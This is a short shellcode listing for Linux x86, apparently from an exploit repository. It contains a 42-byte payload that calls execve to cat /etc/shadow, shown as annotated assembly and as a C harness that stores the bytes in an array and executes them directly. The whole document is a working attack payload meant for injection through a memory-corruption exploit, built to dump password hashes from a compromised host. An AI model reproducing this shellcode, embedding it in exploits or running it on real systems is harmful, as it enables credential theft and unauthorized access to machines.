linux/x86 - execve(/bin/cat, /etc/shadow, NULL) - 42 bytes

/*
* Title: linux/x86 execve(/bin/cat, /etc/shadow, NULL) - 42 bytes
* Type: Shellcode
* Author: antrhacks
* Platform: Linux X86
*/

/* ASSembly
31 c0                xor    %eax,%eax
50                   push   %eax
68 2f 63 61 74       push   $0x7461632f
68 2f 62 69 6e       push   $0x6e69622f
89 e3                mov    %esp,%ebx
50                   push   %eax
68 61 64 6f 77       push   $0x776f6461
68 2f 2f 73 68       push   $0x68732f2f
68 2f 65 74 63       push   $0x6374652f
89 e1                mov    %esp,%ecx
50                   push   %eax
51                   push   %ecx
53                   push   %ebx
89 e1                mov    %esp,%ecx
b0 0b                mov    $0xb,%al
cd 80
*/

int main(){
char shell[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x63\x61\x74"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x68\x61\x64\x6f\x77"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x65\x74\x63"
"\x89\xe1"
"\x50"
"\x51"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80";

printf("[*] Taille du ShellCode = %d\n", strlen(shell));
(*(void (*)()) shell)();

return 0;
}